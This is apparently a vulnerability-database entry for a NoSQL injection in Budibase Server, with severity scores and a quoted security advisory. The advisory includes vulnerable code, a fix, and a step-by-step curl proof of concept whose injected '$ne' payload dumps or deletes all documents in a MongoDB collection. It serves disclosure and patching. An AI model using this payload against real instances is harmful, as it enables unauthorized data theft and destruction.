CVE-2026-73618

highPriorität · verfolgen · 0EPSS 0.004 · 30. PerzentilDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.36% (30th) EPSS
CVSS 8.3 · high
Is it mine?
4 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · cert_bund · osv

EPSS · bewertet 2026-10-27

Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query execution endpoint where user-supplied parameters are interpolated into JSON query templates without proper sanitization of JSON metacharacters. Attackers with query write permission can inject JSON structural characters to alter MongoDB queries, bypassing filters to read, modify, or delete arbitrary documents.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

8.7
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.2–8.7

v3.18.3highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Lsecondary · disclosure@vulncheck.comAusnutzbarkeit 2.8 · Auswirkung 5.5
v3.18.3highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Lsecondary · OSV
v4.08.7highCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.08.7highCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.06.2mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (4)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • WID-SEC-W-2026-2483Budibase: Mehrere SchwachstellenDeutsch2026-07-22csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Budibase ausnutzen, um erweiterte Berechtigungen zu erlangen, SQL-Injection durchzuführen, Sicherheitsmaßnahmen zu umgehen, Konten zu übernehmen, Daten zu manipulieren oder offenzulegen sowie einen Denial-of-Service-Zustand auszulösen.

  • GHSA-qw6m-8fw2-2v64 Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution2026-07-24ghsa · osvUS

    ## Summary Budibase's MongoDB query execution endpoint (`POST /api/v2/queries/:queryId`) is vulnerable to NoSQL injection through user-supplied query parameters. The `enrichContext()` function interpolates parameter values into JSON query templates using Handlebars with `noEscaping: true`, then parses the result with `JSON.parse()`. An attacker can inject JSON metacharacters (`"`, `{`, `}`) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents. ## Details The vulnerability exists because input validation and interpolation are misaligned. The `validateQueryInputs()` function blocks Handlebars template syntax (`{{}}`) but does not sanitize JSON structural characters: **packages/server/src/api/controllers/query/index.ts:57-69** ```typescript function validateQueryInputs(parameters: QueryEventParameters) { for (let entry of Object.entries(parameters)) { const [key, value] = entry if (typeof value !== "string") { continue } if (findHBSBlocks(value).length !== 0) { throw new Error( `Parameter '${key}' input contains a handlebars binding - this is not allowed.` ) } } } ``` After validation passes, `enrichContext()` performs raw string interpolation with escaping explicitly disabled: **packages/server/src/sdk/workspace/queries/queries.ts:105-108** ```typescript enrichedQuery[key] = processStringSync(fields[key], parameters, { noEscaping: true, noHelpers: true, escapeNewlines: true, }) ``` The interpolated string is then parsed as JSON at line 122: **packages/server/src/sdk/workspace/queries/queries.ts:122** ```typescript enrichedQuery.json = JSON.parse( enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody ) ``` The parsed object flows directly into MongoDB driver calls with no further sanitization: **packages/server/src/integrations/mongodb.ts:509** ```typescript return await collection.find(json).toArray() ``` **packages/server/src/integrations/mongodb.ts:624** ```typescript return await collection.deleteMany(json.filter, json.options) ``` Consider a saved query with a JSON template like `{"username": "{{username}}"}`. If an attacker provides the parameter value `", "$ne": "` the interpolated string becomes `{"username": "", "$ne": ""}` — a valid JSON object that matches all documents where `username` is not empty, instead of matching a single specific user. The route requires only `PermissionType.QUERY, PermissionLevel.WRITE` (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints. ## PoC **Prerequisites:** A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a `find` query with `{"username": "{{username}}"}`). **Step 1: Authenticate as a regular app user** ```bash TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \ -H "Content-Type: application/json" \ -d '{"username":"appuser@example.com","password":"password"}' \ -c - | grep budibase:auth | awk '{print $NF}') ``` **Step 2: Execute the query normally (returns only matching document)** ```bash curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \ -H "Content-Type: application/json" \ -b "budibase:auth=$TOKEN" \ -d '{"parameters": {"username": "alice"}}' # Returns: [{"username": "alice", ...}] ``` **Step 3: Inject NoSQL operator to dump all documents** ```bash curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \ -H "Content-Type: application/json" \ -b "budibase:auth=$TOKEN" \ -d '{"parameters": {"username": "\", \"$ne\": \""}}' # Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...] ``` The injected value `", "$ne": "` transforms the query from `{"username": "alice"}` to `{"username": "", "$ne": ""}`, which matches all documents where username is not empty. **Step 4: Delete all documents via a delete query (if a delete-type query is saved)** ```bash curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \ -H "Content-Type: application/json" \ -b "budibase:auth=$TOKEN" \ -d '{"parameters": {"username": "\", \"$ne\": \""}}' # Deletes ALL documents matching the injected filter ``` ## Impact - **Data exfiltration:** Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants. - **Data modification:** Through `updateMany` queries, attackers can modify arbitrary documents in bulk by injecting broadened filters. - **Data destruction:** Through `deleteMany` queries, attackers can delete all documents matching an injected filter, potentially wiping entire collections. - **Authorization bypass:** The attack requires only `QUERY WRITE` permission, which is a standard app-level permission — not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute. ## Recommended Fix Sanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in `enrichContext()` before the `processStringSync` call: **packages/server/src/sdk/workspace/queries/queries.ts** ```typescript // Add this helper function function escapeJsonValue(value: string): string { return value.replace(/\\/g, "\\\\").replace(/"/g, '\\"') } // In enrichContext(), sanitize parameters before interpolation for (const [key, value] of Object.entries(parameters)) { if (typeof value === "string") { parameters[key] = escapeJsonValue(value) } } ``` Alternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query. Additionally, add Joi validation to the execute endpoint (`POST /api/v2/queries/:queryId`) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.

06

auch bekannt als (3)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-08-13geändert 2026-10-24
08

Referenzen (6)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan